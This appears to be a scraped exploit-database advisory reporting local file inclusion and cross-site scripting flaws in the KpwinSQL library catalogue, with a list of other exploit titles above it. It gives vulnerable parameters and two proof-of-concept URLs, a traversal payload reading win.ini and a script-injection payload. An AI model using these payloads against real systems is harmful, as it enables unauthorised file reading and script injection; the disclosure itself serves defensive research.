c7daadde64
8 new exploits WordPress Q and A (Focus Plus) FAQ Plugin 1.3.9.7 - Multiple Vulnerabilities WordPress Huge-IT Image Gallery Plugin 1.8.9 - Multiple Vulnerabilities Codoforum 3.4 - Stored Cross-Site Scripting MediaCoder 0.8.43.5830 - .m3u Buffer Overflow SEH Exploit VUPlayer 2.49 - .m3u Buffer Overflow Exploit (Win 7 DEP Bypass) Core FTP LE 2.2 - Path Field Local Buffer Overflow OPAC KpwinSQL - Multiple Vulnerabilities GE Proficy HMI/SCADA CIMPLICITY 8.2 - Local Privilege Escalation
36 lines
1.4 KiB
Text
Executable file
36 lines
1.4 KiB
Text
Executable file
OPAC KpwinSQL LFI/XSS Vulnerabilities
|
|
|
|
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
Product Website : http://www.kpsys.cz/
|
|
Affected version: All
|
|
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
|
|
Description:
|
|
KpwinSQL suffers from an unauthenticated file inclusion vulnerability (LFI) when input passed thru the 'lang' parameter to the following scripts which are not properly verified:
|
|
+ index.php
|
|
+ help.php
|
|
+ logpin.php
|
|
+ brow.php
|
|
+ indexs.php
|
|
+ search.php
|
|
+ hledani.php
|
|
+ hled_hesl.php
|
|
before being used to include files. This can be exploited to include files from local resources with their absolute path and with directory traversal attacks.
|
|
|
|
Moreover, KpwinSQL system suffers from Cross Site Scripting vulnerability when input passed thru the 'vyhl' parameter to 'index.php' script which does not perform input validation.
|
|
|
|
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
Tested on: Apache/2.2.11 (Win32)
|
|
PHP/5.2.9-2
|
|
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
Vulnerabilities discovered by Yakir Wizman
|
|
https://www.linkedin.com/in/yakirwizman
|
|
Date: 06.07.2016
|
|
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
Proof Of Concept:
|
|
|
|
Local File Inclusion example:
|
|
http://server/index.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00
|
|
|
|
Cross Site Scripting example:
|
|
http://server/index.php?vyhl='><script>alert('XSS')</script>&lang=cze
|